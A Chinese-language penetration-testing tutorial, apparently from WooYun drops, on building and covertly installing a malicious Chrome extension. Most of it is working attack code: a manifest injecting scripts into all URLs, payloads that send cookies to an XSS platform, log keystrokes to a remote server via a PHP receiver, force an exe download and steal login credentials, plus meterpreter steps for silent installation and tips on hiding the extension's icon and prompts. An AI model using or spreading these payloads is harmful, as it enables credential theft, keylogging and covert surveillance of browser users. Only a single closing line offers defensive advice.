眾所周知,Web應用變得越來越流行,生活,辦公,娛樂等等很多都是通過Web,而瀏覽器是我們訪問Web最常使用的工具之一。隨著Web功能的強大,瀏覽器的功能也變得越來越強大。而此文,就是介紹一種通過Chrome插件進行攻擊的姿勢跟手法。
撰寫此文時,僅對Chrome瀏覽器進行了部分測試,有興趣的小伙伴可以深入,本文主要是提供一種思路。
在知道怎么寫插件之前,我們首先了解一下插件的文件結構,隨便下載一個谷歌插件,將其重命名為zip后綴之后進行解壓,解壓后的文件目錄如下:
其中,manifest.json是主文件,來聲明要寫的插件的相關信息。可以把mainfest.json理解成插件的入口,即chrome需要通過manifest.json來理解你的插件要引用哪些文件 、 需要哪些權限 、 插件圖標 等信息。而其他文件,就是能實現此插件功能的腳本文件以及插件圖標等。
下面,我們開始構造我們的hack extension。
首先, 編寫manifest.json文件如下:
#!js
{
"name": "demo", //插件顯示的名稱
"description": "demo", //插件的描述
"version": "1.0", //插件的版本
"manifest_version": 2, //新版chrome強制manifest_version為2
//插件的圖標
"icons": {
"16": "imgs/ico.png",
"32": "imgs/ico.png",
"48": "imgs/ico.png",
"128": "imgs/ico.png"
},
//定義后臺的一些特性
"background":{
"scripts":[ //加載插件的時候執行的腳本
"js/call.js",
"lib/jquery.min.js"
]
},
"content_scripts": [//定義自動加載的內容
{
"matches": [ //滿足什么樣的條件執行該插件
"<all_urls>"
],
"js": [
"lib/jquery.min.js", //滿足以后執行的腳本
"js/check.js"
]
}
],
//插件的權限
"permissions": [
"tabs",
"http://*/",
"https://*/",
"background",
"webRequest",
"storage",
"browsingData"
]
}
創建以下文件:
現在,所有的文件就全了,但是還沒什么功能,嘗試加載一下插件,瀏覽器URL欄輸入 chrome://extensions/
選擇加載已解壓的擴展程序,之后選擇文件所在的文件夾。
然后插件就已經被加載上了:
插件已經可以被成功加載了,怎么使用它來進行攻擊呢,我們開始編寫。
配置XSS平臺,獲取項目代碼如下:
#!js
<script src=http://t.cn/xxxxxxx></script>
訪問http://t.cn/xxxxxx 獲取代碼,將其寫入check.js,內容如下:
#!js
??(function(){(new Image()).src='http://xss9.com/index.php?do=api&id=xxxxxx&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})();
if(''==1){keep=new Image();keep.src='http://xss9.com/index.php?do=keepsession&id=xxxxxx&url='+escape(document.location)+'&cookie='+escape(document.cookie)};
保存文件,重新加載插件,訪問任意網站,獲取訪問網站的cookie信息,如下圖:
將以下Payload寫入check.js中:
#!js
$(document).ready(function()
{
var server = "http://server.com/"; //接收服務器
var gate = "data.php?data="; //接收文件
var tabURL = window.location.href;
var keys='';
document.onkeypress = function(e) {
get = window.event?event:e;
key = get.keyCode?get.keyCode:get.charCode;
key = String.fromCharCode(key);
keys+=key;
}
window.setInterval(function(){
new Image().src = server+gate+keys;
keys = '';
}, 1000);
});
接收php文件如下,將此文件命名為data.php置于服務器上:
#!php
<?php
$txt = $_GET['data'];
$log = fopen("keylog.txt", "a") or die("Unable to open file!");
fwrite($log, $txt);
fclose($log);
?>
需要在服務器上建立keylog.txt,然后給777權限就可以了
加載插件以后,鍵盤記錄啟動,當用戶在網頁中進行鍵盤輸入時,輸入數據會發送到遠程服務器。
強制下載文件Payload如下,此payload即安裝插件以后,訪問任意網站強制下載程序:
#!php
$(document).ready(function()
{
var server = "http://server.com/"; //服務器
var gate = "/test/test.exe"; //要下載的文件
var tabURL = window.location.href;
var link = document.createElement('a');
link.href = server+gate;
link.download = '';
document.body.appendChild(link);
link.click();
});
以下Payload 用于獲取登陸wooyun的賬號密碼。
#!php
$(document).ready(function()
{
var server = "http://xss9.com/"; //發送地址
var gate = "index.php?do=api&id=xxxxx"; //接收參數
var tabURL = window.location.href;
if(tabURL.indexOf('wooyun.org') !== -1 )
{
wooyun();
}
function email()
{
var email = document.getElementsByName('email')[0].value;
var password = document.getElementsByName('password')[0].value;
var data = "&username="+email+"&password="+password;
new Image().src = server+gate+data;
//console.log("email="+email+"&password="+password)
}
function wooyun()
{
document.getElementById('subbtn').onmouseover = email;
}
});
修改payload可針對性獲取某網站賬號密碼信息。
Payload就介紹這么多了,熟悉前端的童鞋一定可以創造更多花式玩兒法。
或許小伙伴們會問,弄這個有什么用,我又不需要裝這個插件抓自己的密碼。當然,這個肯定不是用來搞自己的。滲透測試過程中,有沒有碰到過看到管理員經常使用Chrome瀏覽器,而我們卻沒辦法獲取到其常用密碼呢?(管理員并沒有使用瀏覽器記住密碼的功能)。這個時候,除了給系統裝鍵盤記錄器,我們還可以為其瀏覽器裝我們編寫的插件。而這個插件,就可以用來搜集各種敏感信息,而且,針對的是瀏覽器訪問的所有網站!
除此之外,我發現chrome是可以通過命令行來安裝插件的,來設想一個場景,我們使用某個漏洞,或者社會工程學獲取了小明的計算機控制權,現在已經有了一個meterpreter會話如下:
執行如下命令:
#!bash
meterpreter > run post/windows/gather/enum_chrome
可以看到目標系統是安裝了chrome瀏覽器的。
上傳插件目錄demo到e:\demo\
目錄,由于meterpreter的upload只能上傳文件,不能上傳文件夾,所以這里需要把demo文件夾打包壓縮以后再上傳,之后再通過目標系統的解壓軟件或者自己上傳的unrar.exe進行解壓,具體操作如下圖:
使用如下命令尋找安裝的解壓軟件:
之后使用如下命令進行解壓并刪除壓縮包,具體操作如下圖:
之后為chrome添加插件,使用如下命令:
#!bash
"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --load-extension="F:\demo\demo" --silent-launch
路徑為chrome默認安裝路徑,如果找不到,可以使用dir命令來找,
--load-extension
是要加載的插件路徑,--silent-launch
表示不開啟chrome,靜默安裝。注意:需要在chrome未運行的情況下才可成功加載插件。
使用以上命令有現在兩點缺點:
缺點一,會有如下提示(過幾秒會消失)。
缺點二,有圖標,有提示。
一直在想辦法解決以上問題,圖標可以換成透明的或者常用的插件圖片來解決,另外兩個暫時還沒解決,詳細的chrome命令可以參考這里: chromium-command-line,有小伙伴有了解決方案還請不吝賜教。當然也可以嘗試寫一個小程序來監控chrome,一旦chrome打開,則模擬點擊事件點擊取消按鈕。
最好的方式就是可以直接去為他安裝插件,然后點了這幾個提示之后,之后的使用則不會再次出現提示,這樣可以隱藏挺長時間。
然后,我就控制小明的所有訪問內容了,就像這個圖一樣:
當然除了以上的利用方式,還可以通過發布一些插件讓其含有攻擊代碼同樣可以實現此功能。
對于不明來歷的插件盡量不要安裝,如果發現問題,請盡早修改自己各個賬號密碼。
此文主要介紹在滲透測試過程中的一種思路,有興趣的小伙伴可以繼續測試其他瀏覽器的插件,這種方式雖然簡單,但是效果還不錯,你值得擁有。以上文件可以通過這里下載:Extension_Backdoor。
本文由evi1cg原創并首發于烏云drops,轉載請注明